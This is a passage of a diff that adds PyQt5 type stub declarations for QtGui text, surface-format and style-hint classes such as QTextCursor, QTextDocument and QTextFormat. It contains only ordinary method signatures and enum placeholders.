isEditable(self) -> bool: ... + def setEnabled(self, enabled: bool) -> None: ... + def isEnabled(self) -> bool: ... + def setFlags(self, flags: typing.Union[QtCore.Qt.ItemFlags, QtCore.Qt.ItemFlag]) -> None: ... + def flags(self) -> QtCore.Qt.ItemFlags: ... + def accessibleDescription(self) -> str: ... + def accessibleText(self) -> str: ... + def checkState(self) -> QtCore.Qt.CheckState: ... + def foreground(self) -> QBrush: ... + def background(self) -> QBrush: ... + def textAlignment(self) -> QtCore.Qt.Alignment: ... + def font(self) -> QFont: ... + def sizeHint(self) -> QtCore.QSize: ... + def whatsThis(self) -> str: ... + def statusTip(self) -> str: ... + def toolTip(self) -> str: ... + def icon(self) -> QIcon: ... + def text(self) -> str: ... + def setData(self, value: typing.Any, role: int = ...) -> None: ... + def data(self, role: int = ...) -> typing.Any: ... + + +class QStaticText(sip.simplewrapper): + + class PerformanceHint(int): + ModerateCaching = ... # type: QStaticText.PerformanceHint + AggressiveCaching = ... # type: QStaticText.PerformanceHint + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, text: str) -> None: ... + @typing.overload + def __init__(self, other: 'QStaticText') -> None: ... + + def swap(self, other: 'QStaticText') -> None: ... + def performanceHint(self) -> 'QStaticText.PerformanceHint': ... + def setPerformanceHint(self, performanceHint: 'QStaticText.PerformanceHint') -> None: ... + def prepare(self, matrix: 'QTransform' = ..., font: QFont = ...) -> None: ... + def size(self) -> QtCore.QSizeF: ... + def textOption(self) -> 'QTextOption': ... + def setTextOption(self, textOption: 'QTextOption') -> None: ... + def textWidth(self) -> float: ... + def setTextWidth(self, textWidth: float) -> None: ... + def textFormat(self) -> QtCore.Qt.TextFormat: ... + def setTextFormat(self, textFormat: QtCore.Qt.TextFormat) -> None: ... + def text(self) -> str: ... + def setText(self, text: str) -> None: ... + + +class QStyleHints(QtCore.QObject): + + def touchDoubleTapDistance(self) -> int: ... + def mouseDoubleClickDistance(self) -> int: ... + def showShortcutsInContextMenusChanged(self, a0: bool) -> None: ... + def setShowShortcutsInContextMenus(self, showShortcutsInContextMenus: bool) -> None: ... + def mouseQuickSelectionThresholdChanged(self, threshold: int) -> None: ... + def mouseQuickSelectionThreshold(self) -> int: ... + def showShortcutsInContextMenus(self) -> bool: ... + def wheelScrollLinesChanged(self, scrollLines: int) -> None: ... + def wheelScrollLines(self) -> int: ... + def useHoverEffectsChanged(self, useHoverEffects: bool) -> None: ... + def setUseHoverEffects(self, useHoverEffects: bool) -> None: ... + def useHoverEffects(self) -> bool: ... + def showIsMaximized(self) -> bool: ... + def tabFocusBehaviorChanged(self, tabFocusBehavior: QtCore.Qt.TabFocusBehavior) -> None: ... + def mousePressAndHoldIntervalChanged(self, mousePressAndHoldInterval: int) -> None: ... + def startDragTimeChanged(self, startDragTime: int) -> None: ... + def startDragDistanceChanged(self, startDragDistance: int) -> None: ... + def mouseDoubleClickIntervalChanged(self, mouseDoubleClickInterval: int) -> None: ... + def keyboardInputIntervalChanged(self, keyboardInputInterval: int) -> None: ... + def cursorFlashTimeChanged(self, cursorFlashTime: int) -> None: ... + def singleClickActivation(self) -> bool: ... + def tabFocusBehavior(self) -> QtCore.Qt.TabFocusBehavior: ... + def mousePressAndHoldInterval(self) -> int: ... + def setFocusOnTouchRelease(self) -> bool: ... + def passwordMaskCharacter(self) -> str: ... + def useRtlExtensions(self) -> bool: ... + def fontSmoothingGamma(self) -> float: ... + def passwordMaskDelay(self) -> int: ... + def showIsFullScreen(self) -> bool: ... + def cursorFlashTime(self) -> int: ... + def keyboardAutoRepeatRate(self) -> int: ... + def keyboardInputInterval(self) -> int: ... + def startDragVelocity(self) -> int: ... + def startDragTime(self) -> int: ... + def startDragDistance(self) -> int: ... + def mouseDoubleClickInterval(self) -> int: ... + + +class QSurfaceFormat(sip.simplewrapper): + + class ColorSpace(int): + DefaultColorSpace = ... # type: QSurfaceFormat.ColorSpace + sRGBColorSpace = ... # type: QSurfaceFormat.ColorSpace + + class OpenGLContextProfile(int): + NoProfile = ... # type: QSurfaceFormat.OpenGLContextProfile + CoreProfile = ... # type: QSurfaceFormat.OpenGLContextProfile + CompatibilityProfile = ... # type: QSurfaceFormat.OpenGLContextProfile + + class RenderableType(int): + DefaultRenderableType = ... # type: QSurfaceFormat.RenderableType + OpenGL = ... # type: QSurfaceFormat.RenderableType + OpenGLES = ... # type: QSurfaceFormat.RenderableType + OpenVG = ... # type: QSurfaceFormat.RenderableType + + class SwapBehavior(int): + DefaultSwapBehavior = ... # type: QSurfaceFormat.SwapBehavior + SingleBuffer = ... # type: QSurfaceFormat.SwapBehavior + DoubleBuffer = ... # type: QSurfaceFormat.SwapBehavior + TripleBuffer = ... # type: QSurfaceFormat.SwapBehavior + + class FormatOption(int): + StereoBuffers = ... # type: QSurfaceFormat.FormatOption + DebugContext = ... # type: QSurfaceFormat.FormatOption + DeprecatedFunctions = ... # type: QSurfaceFormat.FormatOption + ResetNotification = ... # type: QSurfaceFormat.FormatOption + + class FormatOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSurfaceFormat.FormatOptions', 'QSurfaceFormat.FormatOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSurfaceFormat.FormatOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSurfaceFormat.FormatOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, options: typing.Union['QSurfaceFormat.FormatOptions', 'QSurfaceFormat.FormatOption']) -> None: ... + @typing.overload + def __init__(self, other: 'QSurfaceFormat') -> None: ... + + def setColorSpace(self, colorSpace: 'QSurfaceFormat.ColorSpace') -> None: ... + def colorSpace(self) -> 'QSurfaceFormat.ColorSpace': ... + @staticmethod + def defaultFormat() -> 'QSurfaceFormat': ... + @staticmethod + def setDefaultFormat(format: 'QSurfaceFormat') -> None: ... + def setSwapInterval(self, interval: int) -> None: ... + def swapInterval(self) -> int: ... + def options(self) -> 'QSurfaceFormat.FormatOptions': ... + def setOptions(self, options: typing.Union['QSurfaceFormat.FormatOptions', 'QSurfaceFormat.FormatOption']) -> None: ... + def setVersion(self, major: int, minor: int) -> None: ... + def version(self) -> typing.Tuple[int, int]: ... + def stereo(self) -> bool: ... + @typing.overload + def testOption(self, opt: typing.Union['QSurfaceFormat.FormatOptions', 'QSurfaceFormat.FormatOption']) -> bool: ... + @typing.overload + def testOption(self, option: 'QSurfaceFormat.FormatOption') -> bool: ... + @typing.overload + def setOption(self, opt: typing.Union['QSurfaceFormat.FormatOptions', 'QSurfaceFormat.FormatOption']) -> None: ... + @typing.overload + def setOption(self, option: 'QSurfaceFormat.FormatOption', on: bool = ...) -> None: ... + def setStereo(self, enable: bool) -> None: ... + def minorVersion(self) -> int: ... + def setMinorVersion(self, minorVersion: int) -> None: ... + def majorVersion(self) -> int: ... + def setMajorVersion(self, majorVersion: int) -> None: ... + def renderableType(self) -> 'QSurfaceFormat.RenderableType': ... + def setRenderableType(self, type: 'QSurfaceFormat.RenderableType') -> None: ... + def profile(self) -> 'QSurfaceFormat.OpenGLContextProfile': ... + def setProfile(self, profile: 'QSurfaceFormat.OpenGLContextProfile') -> None: ... + def hasAlpha(self) -> bool: ... + def swapBehavior(self) -> 'QSurfaceFormat.SwapBehavior': ... + def setSwapBehavior(self, behavior: 'QSurfaceFormat.SwapBehavior') -> None: ... + def samples(self) -> int: ... + def setSamples(self, numSamples: int) -> None: ... + def alphaBufferSize(self) -> int: ... + def setAlphaBufferSize(self, size: int) -> None: ... + def blueBufferSize(self) -> int: ... + def setBlueBufferSize(self, size: int) -> None: ... + def greenBufferSize(self) -> int: ... + def setGreenBufferSize(self, size: int) -> None: ... + def redBufferSize(self) -> int: ... + def setRedBufferSize(self, size: int) -> None: ... + def stencilBufferSize(self) -> int: ... + def setStencilBufferSize(self, size: int) -> None: ... + def depthBufferSize(self) -> int: ... + def setDepthBufferSize(self, size: int) -> None: ... + + +class QSyntaxHighlighter(QtCore.QObject): + + @typing.overload + def __init__(self, parent: 'QTextDocument') -> None: ... + @typing.overload + def __init__(self, parent: QtCore.QObject) -> None: ... + + def currentBlock(self) -> 'QTextBlock': ... + def currentBlockUserData(self) -> 'QTextBlockUserData': ... + def setCurrentBlockUserData(self, data: 'QTextBlockUserData') -> None: ... + def setCurrentBlockState(self, newState: int) -> None: ... + def currentBlockState(self) -> int: ... + def previousBlockState(self) -> int: ... + def format(self, pos: int) -> 'QTextCharFormat': ... + @typing.overload + def setFormat(self, start: int, count: int, format: 'QTextCharFormat') -> None: ... + @typing.overload + def setFormat(self, start: int, count: int, color: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def setFormat(self, start: int, count: int, font: QFont) -> None: ... + def highlightBlock(self, text: str) -> None: ... + def rehighlightBlock(self, block: 'QTextBlock') -> None: ... + def rehighlight(self) -> None: ... + def document(self) -> 'QTextDocument': ... + def setDocument(self, doc: 'QTextDocument') -> None: ... + + +class QTextCursor(sip.simplewrapper): + + class SelectionType(int): + WordUnderCursor = ... # type: QTextCursor.SelectionType + LineUnderCursor = ... # type: QTextCursor.SelectionType + BlockUnderCursor = ... # type: QTextCursor.SelectionType + Document = ... # type: QTextCursor.SelectionType + + class MoveOperation(int): + NoMove = ... # type: QTextCursor.MoveOperation + Start = ... # type: QTextCursor.MoveOperation + Up = ... # type: QTextCursor.MoveOperation + StartOfLine = ... # type: QTextCursor.MoveOperation + StartOfBlock = ... # type: QTextCursor.MoveOperation + StartOfWord = ... # type: QTextCursor.MoveOperation + PreviousBlock = ... # type: QTextCursor.MoveOperation + PreviousCharacter = ... # type: QTextCursor.MoveOperation + PreviousWord = ... # type: QTextCursor.MoveOperation + Left = ... # type: QTextCursor.MoveOperation + WordLeft = ... # type: QTextCursor.MoveOperation + End = ... # type: QTextCursor.MoveOperation + Down = ... # type: QTextCursor.MoveOperation + EndOfLine = ... # type: QTextCursor.MoveOperation + EndOfWord = ... # type: QTextCursor.MoveOperation + EndOfBlock = ... # type: QTextCursor.MoveOperation + NextBlock = ... # type: QTextCursor.MoveOperation + NextCharacter = ... # type: QTextCursor.MoveOperation + NextWord = ... # type: QTextCursor.MoveOperation + Right = ... # type: QTextCursor.MoveOperation + WordRight = ... # type: QTextCursor.MoveOperation + NextCell = ... # type: QTextCursor.MoveOperation + PreviousCell = ... # type: QTextCursor.MoveOperation + NextRow = ... # type: QTextCursor.MoveOperation + PreviousRow = ... # type: QTextCursor.MoveOperation + + class MoveMode(int): + MoveAnchor = ... # type: QTextCursor.MoveMode + KeepAnchor = ... # type: QTextCursor.MoveMode + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, document: 'QTextDocument') -> None: ... + @typing.overload + def __init__(self, frame: 'QTextFrame') -> None: ... + @typing.overload + def __init__(self, block: 'QTextBlock') -> None: ... + @typing.overload + def __init__(self, cursor: 'QTextCursor') -> None: ... + + def swap(self, other: 'QTextCursor') -> None: ... + def keepPositionOnInsert(self) -> bool: ... + def setKeepPositionOnInsert(self, b: bool) -> None: ... + def verticalMovementX(self) -> int: ... + def setVerticalMovementX(self, x: int) -> None: ... + def positionInBlock(self) -> int: ... + def document(self) -> 'QTextDocument': ... + def setVisualNavigation(self, b: bool) -> None: ... + def visualNavigation(self) -> bool: ... + def isCopyOf(self, other: 'QTextCursor') -> bool: ... + def columnNumber(self) -> int: ... + def blockNumber(self) -> int: ... + def endEditBlock(self) -> None: ... + def joinPreviousEditBlock(self) -> None: ... + def beginEditBlock(self) -> None: ... + @typing.overload + def insertImage(self, format: 'QTextImageFormat') -> None: ... + @typing.overload + def insertImage(self, format: 'QTextImageFormat', alignment: 'QTextFrameFormat.Position') -> None: ... + @typing.overload + def insertImage(self, name: str) -> None: ... + @typing.overload + def insertImage(self, image: QImage, name: str = ...) -> None: ... + def insertHtml(self, html: str) -> None: ... + def insertFragment(self, fragment: 'QTextDocumentFragment') -> None: ... + def currentFrame(self) -> 'QTextFrame': ... + def insertFrame(self, format: 'QTextFrameFormat') -> 'QTextFrame': ... + def currentTable(self) -> 'QTextTable': ... + @typing.overload + def insertTable(self, rows: int, cols: int, format: 'QTextTableFormat') -> 'QTextTable': ... + @typing.overload + def insertTable(self, rows: int, cols: int) -> 'QTextTable': ... + def currentList(self) -> 'QTextList': ... + @typing.overload + def createList(self, format: 'QTextListFormat') -> 'QTextList': ... + @typing.overload + def createList(self, style: 'QTextListFormat.Style') -> 'QTextList': ... + @typing.overload + def insertList(self, format: 'QTextListFormat') -> 'QTextList': ... + @typing.overload + def insertList(self, style: 'QTextListFormat.Style') -> 'QTextList': ... + @typing.overload + def insertBlock(self) -> None: ... + @typing.overload + def insertBlock(self, format: 'QTextBlockFormat') -> None: ... + @typing.overload + def insertBlock(self, format: 'QTextBlockFormat', charFormat: 'QTextCharFormat') -> None: ... + def atEnd(self) -> bool: ... + def atStart(self) -> bool: ... + def atBlockEnd(self) -> bool: ... + def atBlockStart(self) -> bool: ... + def mergeBlockCharFormat(self, modifier: 'QTextCharFormat') -> None: ... + def setBlockCharFormat(self, format: 'QTextCharFormat') -> None: ... + def blockCharFormat(self) -> 'QTextCharFormat': ... + def mergeBlockFormat(self, modifier: 'QTextBlockFormat') -> None: ... + def setBlockFormat(self, format: 'QTextBlockFormat') -> None: ... + def blockFormat(self) -> 'QTextBlockFormat': ... + def mergeCharFormat(self, modifier: 'QTextCharFormat') -> None: ... + def setCharFormat(self, format: 'QTextCharFormat') -> None: ... + def charFormat(self) -> 'QTextCharFormat': ... + def block(self) -> 'QTextBlock': ... + def selectedTableCells(self) -> typing.Tuple[int, int, int, int]: ... + def selection(self) -> 'QTextDocumentFragment': ... + def selectedText(self) -> str: ... + def selectionEnd(self) -> int: ... + def selectionStart(self) -> int: ... + def clearSelection(self) -> None: ... + def removeSelectedText(self) -> None: ... + def hasComplexSelection(self) -> bool: ... + def hasSelection(self) -> bool: ... + def select(self, selection: 'QTextCursor.SelectionType') -> None: ... + def deletePreviousChar(self) -> None: ... + def deleteChar(self) -> None: ... + def movePosition(self, op: 'QTextCursor.MoveOperation', mode: 'QTextCursor.MoveMode' = ..., n: int = ...) -> bool: ... + @typing.overload + def insertText(self, text: str) -> None: ... + @typing.overload + def insertText(self, text: str, format: 'QTextCharFormat') -> None: ... + def anchor(self) -> int: ... + def position(self) -> int: ... + def setPosition(self, pos: int, mode: 'QTextCursor.MoveMode' = ...) -> None: ... + def isNull(self) -> bool: ... + + +class Qt(PyQt5.sip.simplewrapper): + + def convertFromPlainText(self, plain: str, mode: QtCore.Qt.WhiteSpaceMode = ...) -> str: ... + def mightBeRichText(self, a0: str) -> bool: ... + + +class QTextDocument(QtCore.QObject): + + class MarkdownFeature(int): + MarkdownNoHTML = ... # type: QTextDocument.MarkdownFeature + MarkdownDialectCommonMark = ... # type: QTextDocument.MarkdownFeature + MarkdownDialectGitHub = ... # type: QTextDocument.MarkdownFeature + + class Stacks(int): + UndoStack = ... # type: QTextDocument.Stacks + RedoStack = ... # type: QTextDocument.Stacks + UndoAndRedoStacks = ... # type: QTextDocument.Stacks + + class ResourceType(int): + UnknownResource = ... # type: QTextDocument.ResourceType + HtmlResource = ... # type: QTextDocument.ResourceType + ImageResource = ... # type: QTextDocument.ResourceType + StyleSheetResource = ... # type: QTextDocument.ResourceType + MarkdownResource = ... # type: QTextDocument.ResourceType + UserResource = ... # type: QTextDocument.ResourceType + + class FindFlag(int): + FindBackward = ... # type: QTextDocument.FindFlag + FindCaseSensitively = ... # type: QTextDocument.FindFlag + FindWholeWords = ... # type: QTextDocument.FindFlag + + class MetaInformation(int): + DocumentTitle = ... # type: QTextDocument.MetaInformation + DocumentUrl = ... # type: QTextDocument.MetaInformation + + class FindFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QTextDocument.FindFlags', 'QTextDocument.FindFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextDocument.FindFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QTextDocument.FindFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class MarkdownFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QTextDocument.MarkdownFeatures', 'QTextDocument.MarkdownFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextDocument.MarkdownFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QTextDocument.MarkdownFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, text: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setMarkdown(self, markdown: str, features: typing.Union['QTextDocument.MarkdownFeatures', 'QTextDocument.MarkdownFeature'] = ...) -> None: ... + def toMarkdown(self, features: typing.Union['QTextDocument.MarkdownFeatures', 'QTextDocument.MarkdownFeature'] = ...) -> str: ... + def toRawText(self) -> str: ... + def baseUrlChanged(self, url: QtCore.QUrl) -> None: ... + def setBaseUrl(self, url: QtCore.QUrl) -> None: ... + def baseUrl(self) -> QtCore.QUrl: ... + def setDefaultCursorMoveStyle(self, style: QtCore.Qt.CursorMoveStyle) -> None: ... + def defaultCursorMoveStyle(self) -> QtCore.Qt.CursorMoveStyle: ... + def clearUndoRedoStacks(self, stacks: 'QTextDocument.Stacks' = ...) -> None: ... + def availableRedoSteps(self) -> int: ... + def availableUndoSteps(self) -> int: ... + def characterCount(self) -> int: ... + def lineCount(self) -> int: ... + def setDocumentMargin(self, margin: float) -> None: ... + def documentMargin(self) -> float: ... + def characterAt(self, pos: int) -> str: ... + def documentLayoutChanged(self) -> None: ... + def undoCommandAdded(self) -> None: ... + def setIndentWidth(self, width: float) -> None: ... + def indentWidth(self) -> float: ... + def lastBlock(self) -> 'QTextBlock': ... + def firstBlock(self) -> 'QTextBlock': ... + def findBlockByLineNumber(self, blockNumber: int) -> 'QTextBlock': ... + def findBlockByNumber(self, blockNumber: int) -> 'QTextBlock': ... + def revision(self) -> int: ... + def setDefaultTextOption(self, option: 'QTextOption') -> None: ... + def defaultTextOption(self) -> 'QTextOption': ... + def setMaximumBlockCount(self, maximum: int) -> None: ... + def maximumBlockCount(self) -> int: ... + def defaultStyleSheet(self) -> str: ... + def setDefaultStyleSheet(self, sheet: str) -> None: ... + def blockCount(self) -> int: ... + def size(self) -> QtCore.QSizeF: ... + def adjustSize(self) -> None: ... + def idealWidth(self) -> float: ... + def textWidth(self) -> float: ... + def setTextWidth(self, width: float) -> None: ... + def drawContents(self, p: QPainter, rect: QtCore.QRectF = ...) -> None: ... + def loadResource(self, type: int, name: QtCore.QUrl) -> typing.Any: ... + def createObject(self, f: 'QTextFormat') -> 'QTextObject': ... + def setModified(self, on: bool = ...) -> None: ... + @typing.overload + def redo(self) -> None: ... + @typing.overload + def redo(self, cursor: QTextCursor) -> None: ... + @typing.overload + def undo(self) -> None: ... + @typing.overload + def undo(self, cursor: QTextCursor) -> None: ... + def undoAvailable(self, a0: bool) -> None: ... + def redoAvailable(self, a0: bool) -> None: ... + def modificationChanged(self, m: bool) -> None: ... + def cursorPositionChanged(self, cursor: QTextCursor) -> None: ... + def contentsChanged(self) -> None: ... + def contentsChange(self, from_: int, charsRemoves: int, charsAdded: int) -> None: ... + def blockCountChanged(self, newBlockCount: int) -> None: ... + def useDesignMetrics(self) -> bool: ... + def setUseDesignMetrics(self, b: bool) -> None: ... + def markContentsDirty(self, from_: int, length: int) -> None: ... + def allFormats(self) -> typing.List['QTextFormat']: ... + def addResource(self, type: int, name: QtCore.QUrl, resource: typing.Any) -> None: ... + def resource(self, type: int, name: QtCore.QUrl) -> typing.Any: ... + def print(self, printer: QPagedPaintDevice) -> None: ... + def print_(self, printer: QPagedPaintDevice) -> None: ... + def isModified(self) -> bool: ... + def pageCount(self) -> int: ... + def defaultFont(self) -> QFont: ... + def setDefaultFont(self, font: QFont) -> None: ... + def pageSize(self) -> QtCore.QSizeF: ... + def setPageSize(self, size: QtCore.QSizeF) -> None: ... + def end(self) -> 'QTextBlock': ... + def begin(self) -> 'QTextBlock': ... + def findBlock(self, pos: int) -> 'QTextBlock': ... + def objectForFormat(self, a0: 'QTextFormat') -> 'QTextObject': ... + def object(self, objectIndex: int) -> 'QTextObject': ... + def rootFrame(self) -> 'QTextFrame': ... + @typing.overload + def find(self, subString: str, position: int = ..., options: 'QTextDocument.FindFlags' = ...) -> QTextCursor: ... + @typing.overload + def find(self, expr: QtCore.QRegExp, position: int = ..., options: 'QTextDocument.FindFlags' = ...) -> QTextCursor: ... + @typing.overload + def find(self, expr: QtCore.QRegularExpression, position: int = ..., options: 'QTextDocument.FindFlags' = ...) -> QTextCursor: ... + @typing.overload + def find(self, subString: str, cursor: QTextCursor, options: 'QTextDocument.FindFlags' = ...) -> QTextCursor: ... + @typing.overload + def find(self, expr: QtCore.QRegExp, cursor: QTextCursor, options: 'QTextDocument.FindFlags' = ...) -> QTextCursor: ... + @typing.overload + def find(self, expr: QtCore.QRegularExpression, cursor: QTextCursor, options: 'QTextDocument.FindFlags' = ...) -> QTextCursor: ... + def setPlainText(self, text: str) -> None: ... + def toPlainText(self) -> str: ... + def setHtml(self, html: str) -> None: ... + def toHtml(self, encoding: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> str: ... + def metaInformation(self, info: 'QTextDocument.MetaInformation') -> str: ... + def setMetaInformation(self, info: 'QTextDocument.MetaInformation', a1: str) -> None: ... + def documentLayout(self) -> QAbstractTextDocumentLayout: ... + def setDocumentLayout(self, layout: QAbstractTextDocumentLayout) -> None: ... + def isRedoAvailable(self) -> bool: ... + def isUndoAvailable(self) -> bool: ... + def isUndoRedoEnabled(self) -> bool: ... + def setUndoRedoEnabled(self, enable: bool) -> None: ... + def clear(self) -> None: ... + def isEmpty(self) -> bool: ... + def clone(self, parent: typing.Optional[QtCore.QObject] = ...) -> 'QTextDocument': ... + + +class QTextDocumentFragment(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, document: QTextDocument) -> None: ... + @typing.overload + def __init__(self, range: QTextCursor) -> None: ... + @typing.overload + def __init__(self, rhs: 'QTextDocumentFragment') -> None: ... + + @typing.overload + @staticmethod + def fromHtml(html: str) -> 'QTextDocumentFragment': ... + @typing.overload + @staticmethod + def fromHtml(html: str, resourceProvider: QTextDocument) -> 'QTextDocumentFragment': ... + @staticmethod + def fromPlainText(plainText: str) -> 'QTextDocumentFragment': ... + def toHtml(self, encoding: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> str: ... + def toPlainText(self) -> str: ... + def isEmpty(self) -> bool: ... + + +class QTextDocumentWriter(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, device: QtCore.QIODevice, format: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def __init__(self, fileName: str, format: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> None: ... + + @staticmethod + def supportedDocumentFormats() -> typing.List[QtCore.QByteArray]: ... + def codec(self) -> QtCore.QTextCodec: ... + def setCodec(self, codec: QtCore.QTextCodec) -> None: ... + @typing.overload + def write(self, document: QTextDocument) -> bool: ... + @typing.overload + def write(self, fragment: QTextDocumentFragment) -> bool: ... + def fileName(self) -> str: ... + def setFileName(self, fileName: str) -> None: ... + def device(self) -> QtCore.QIODevice: ... + def setDevice(self, device: QtCore.QIODevice) -> None: ... + def format(self) -> QtCore.QByteArray: ... + def setFormat(self, format: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + + +class QTextLength(sip.simplewrapper): + + class Type(int): + VariableLength = ... # type: QTextLength.Type + FixedLength = ... # type: QTextLength.Type + PercentageLength = ... # type: QTextLength.Type + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, atype: 'QTextLength.Type', avalue: float) -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextLength') -> None: ... + + def rawValue(self) -> float: ... + def value(self, maximumLength: float) -> float: ... + def type(self) -> 'QTextLength.Type': ... + + +class QTextFormat(sip.simplewrapper): + + class Property(int): + ObjectIndex = ... # type: QTextFormat.Property + CssFloat = ... # type: QTextFormat.Property + LayoutDirection = ... # type: QTextFormat.Property + OutlinePen = ... # type: QTextFormat.Property + BackgroundBrush = ... # type: QTextFormat.Property + ForegroundBrush = ... # type: QTextFormat.Property + BlockAlignment = ... # type: QTextFormat.Property + BlockTopMargin = ... # type: QTextFormat.Property + BlockBottomMargin = ... # type: QTextFormat.Property + BlockLeftMargin = ... # type: QTextFormat.Property + BlockRightMargin = ... # type: QTextFormat.Property + TextIndent = ... # type: QTextFormat.Property + BlockIndent = ... # type: QTextFormat.Property + BlockNonBreakableLines = ... # type: QTextFormat.Property + BlockTrailingHorizontalRulerWidth = ... # type: QTextFormat.Property + FontFamily = ... # type: QTextFormat.Property + FontPointSize = ... # type: QTextFormat.Property + FontSizeAdjustment = ... # type: QTextFormat.Property + FontSizeIncrement = ... # type: QTextFormat.Property + FontWeight = ... # type: QTextFormat.Property + FontItalic = ... # type: QTextFormat.Property + FontUnderline = ... # type: QTextFormat.Property + FontOverline = ... # type: QTextFormat.Property + FontStrikeOut = ... # type: QTextFormat.Property + FontFixedPitch = ... # type: QTextFormat.Property + FontPixelSize = ... # type: QTextFormat.Property + TextUnderlineColor = ... # type: QTextFormat.Property + TextVerticalAlignment = ... # type: QTextFormat.Property + TextOutline = ... # type: QTextFormat.Property + IsAnchor = ... # type: QTextFormat.Property + AnchorHref = ... # type: QTextFormat.Property + AnchorName = ... # type: QTextFormat.Property + ObjectType = ... # type: QTextFormat.Property + ListStyle = ... # type: QTextFormat.Property + ListIndent = ... # type: QTextFormat.Property + FrameBorder = ... # type: QTextFormat.Property + FrameMargin = ... # type: QTextFormat.Property + FramePadding = ... # type: QTextFormat.Property + FrameWidth = ... # type: QTextFormat.Property + FrameHeight = ... # type: QTextFormat.Property + TableColumns = ... # type: QTextFormat.Property + TableColumnWidthConstraints = ... # type: QTextFormat.Property + TableCellSpacing = ... # type: QTextFormat.Property + TableCellPadding = ... # type: QTextFormat.Property + TableCellRowSpan = ... # type: QTextFormat.Property + TableCellColumnSpan = ... # type: QTextFormat.Property + ImageName = ... # type: QTextFormat.Property + ImageWidth = ... # type: QTextFormat.Property + ImageHeight = ... # type: QTextFormat.Property + TextUnderlineStyle = ... # type: QTextFormat.Property + TableHeaderRowCount = ... # type: QTextFormat.Property + FullWidthSelection = ... # type: QTextFormat.Property + PageBreakPolicy = ... # type: QTextFormat.Property + TextToolTip = ... # type: QTextFormat.Property + FrameTopMargin = ... # type: QTextFormat.Property + FrameBottomMargin = ... # type: QTextFormat.Property + FrameLeftMargin = ... # type: QTextFormat.Property + FrameRightMargin = ... # type: QTextFormat.Property + FrameBorderBrush = ... # type: QTextFormat.Property + FrameBorderStyle = ... # type: QTextFormat.Property + BackgroundImageUrl = ... # type: QTextFormat.Property + TabPositions = ... # type: QTextFormat.Property + FirstFontProperty = ... # type: QTextFormat.Property + FontCapitalization = ... # type: QTextFormat.Property + FontLetterSpacing = ... # type: QTextFormat.Property + FontWordSpacing = ... # type: QTextFormat.Property + LastFontProperty = ... # type: QTextFormat.Property + TableCellTopPadding = ... # type: QTextFormat.Property + TableCellBottomPadding = ... # type: QTextFormat.Property + TableCellLeftPadding = ... # type: QTextFormat.Property + TableCellRightPadding = ... # type: QTextFormat.Property + FontStyleHint = ... # type: QTextFormat.Property + FontStyleStrategy = ... # type: QTextFormat.Property + FontKerning = ... # type: QTextFormat.Property + LineHeight = ... # type: QTextFormat.Property + LineHeightType = ... # type: QTextFormat.Property + FontHintingPreference = ... # type: QTextFormat.Property + ListNumberPrefix = ... # type: QTextFormat.Property + ListNumberSuffix = ... # type: QTextFormat.Property + FontStretch = ... # type: QTextFormat.Property + FontLetterSpacingType = ... # type: QTextFormat.Property + HeadingLevel = ... # type: QTextFormat.Property + ImageQuality = ... # type: QTextFormat.Property + FontFamilies = ... # type: QTextFormat.Property + FontStyleName = ... # type: QTextFormat.Property + BlockQuoteLevel = ... # type: QTextFormat.Property + BlockCodeLanguage = ... # type: QTextFormat.Property + BlockCodeFence = ... # type: QTextFormat.Property + BlockMarker = ... # type: QTextFormat.Property + TableBorderCollapse = ... # type: QTextFormat.Property + TableCellTopBorder = ... # type: QTextFormat.Property + TableCellBottomBorder = ... # type: QTextFormat.Property + TableCellLeftBorder = ... # type: QTextFormat.Property + TableCellRightBorder = ... # type: QTextFormat.Property + TableCellTopBorderStyle = ... # type: QTextFormat.Property + TableCellBottomBorderStyle = ... # type: QTextFormat.Property + TableCellLeftBorderStyle = ... # type: QTextFormat.Property + TableCellRightBorderStyle = ... # type: QTextFormat.Property + TableCellTopBorderBrush = ... # type: QTextFormat.Property + TableCellBottomBorderBrush = ... # type: QTextFormat.Property + TableCellLeftBorderBrush = ... # type: QTextFormat.Property + TableCellRightBorderBrush = ... # type: QTextFormat.Property + ImageTitle = ... # type: QTextFormat.Property + ImageAltText = ... # type: QTextFormat.Property + UserProperty = ... # type: QTextFormat.Property + + class PageBreakFlag(int): + PageBreak_Auto = ... # type: QTextFormat.PageBreakFlag + PageBreak_AlwaysBefore = ... # type: QTextFormat.PageBreakFlag + PageBreak_AlwaysAfter = ... # type: QTextFormat.PageBreakFlag + + class 